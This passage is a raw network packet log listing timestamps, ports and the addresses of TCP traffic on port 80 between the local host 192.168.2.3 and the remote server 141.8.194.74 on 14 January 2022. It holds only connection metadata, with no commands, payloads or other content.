Jan 14, 2022 01:51:45.154277086 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154316902 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154334068 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154356003 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154396057 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154397964 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154434919 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154454947 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154472113 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154510975 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154546022 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154548883 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154589891 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154628992 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154629946 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154666901 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154675961 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154707909 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154747009 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154762030 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154784918 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154824018 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154824972 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154863119 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154882908 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154903889 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154943943 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.154969931 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.154980898 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155023098 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155038118 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.155062914 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155100107 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155118942 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.155138969 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155177116 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155216932 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155231953 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.155276060 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155304909 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.155324936 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155364037 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155389071 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.155404091 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155441046 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155462027 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.155479908 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155519009 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155539036 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.155556917 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.155617952 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.175812006 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.175868988 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.175908089 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.175950050 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.175990105 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176001072 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176028967 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176050901 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176069975 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176110029 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176112890 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176150084 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176188946 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176207066 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176228046 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176268101 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176296949 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176330090 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176368952 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176388025 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176410913 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176450014 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176465988 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176486969 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176527977 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176547050 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176565886 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176567078 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176606894 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176624060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176649094 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176672935 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176686049 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176727057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176765919 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176784039 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176805019 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176826954 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176847935 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176887035 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176927090 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.176959991 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.176966906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177005053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177006960 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177045107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177078009 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177086115 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177128077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177166939 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177205086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177243948 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177244902 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177261114 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177284956 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177306890 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177324057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177365065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177405119 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177432060 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177443027 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177484035 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177486897 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177521944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177558899 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177561998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177602053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177639008 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177656889 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177679062 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177701950 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177720070 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177757978 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177776098 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177798033 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177836895 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177880049 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177905083 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177946091 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.177975893 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.177985907 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178025007 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178064108 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178102016 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178112984 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178141117 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178179979 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178185940 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178219080 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178235054 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178258896 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178299904 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178302050 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178338051 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178379059 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178417921 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178421974 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178455114 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178467989 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178495884 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178529024 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178534985 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178575039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178613901 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178622961 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178652048 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178682089 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178690910 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178731918 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178770065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178808928 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178811073 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178848028 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178864956 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178888083 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178920031 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.178929090 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.178967953 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179007053 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179018021 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179078102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179110050 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179115057 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179156065 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179194927 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179224014 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179233074 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179274082 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179276943 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179312944 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179352045 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179354906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179398060 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179435015 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179451942 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179507017 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179527998 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179567099 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179605961 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179645061 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179668903 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179703951 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179733038 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179744005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179785013 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179822922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179822922 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.179883957 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179924011 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.179986000 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.180073023 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.205471039 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.205527067 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.205640078 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229212999 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229264975 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229305029 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229345083 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229377031 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229387999 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229428053 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229428053 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229468107 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229496956 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229506016 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229546070 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229583979 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229614973 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229624987 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229652882 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229666948 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229705095 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229743958 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229765892 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229784966 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229823112 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229821920 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229890108 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.229906082 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229948044 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.229984999 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230019093 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230024099 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230062962 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230099916 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230102062 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230143070 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230180979 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230211020 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230218887 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230257988 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230261087 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230297089 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230310917 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230336905 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230380058 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230416059 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230417013 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230456114 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230494976 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230516911 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230532885 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230567932 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230571985 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230609894 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230637074 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230648041 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230689049 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230714083 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230725050 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230763912 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230784893 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230803967 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230840921 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230880022 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230912924 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230916023 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230957985 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.230962038 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.230998039 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.231012106 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.231034994 CET	80	49858	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.231101990 CET	49858	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.263583899 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263642073 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263681889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263721943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263761044 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263799906 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263839960 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263856888 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.263878107 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263912916 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.263919115 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263961077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.263995886 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.263998032 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264038086 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264070988 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264077902 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264116049 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264117956 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264158964 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264197111 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264199972 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264238119 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264272928 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264277935 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264318943 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264359951 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264400005 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264399052 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264441967 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264450073 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264482975 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264503002 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264522076 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264560938 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264592886 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264600039 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264637947 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264653921 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264678955 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264717102 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264748096 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264758110 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264799118 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264837027 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264875889 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264905930 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.264916897 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264955997 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.264996052 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265005112 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265034914 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265058994 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265075922 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265116930 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265152931 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265155077 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265194893 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265233040 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265253067 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265270948 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265310049 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265311003 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265362024 CET	80	49856	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:45.265396118 CET	49856	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:45.265398979 CET	80	49856	141.8.194.74	192.168.2.3
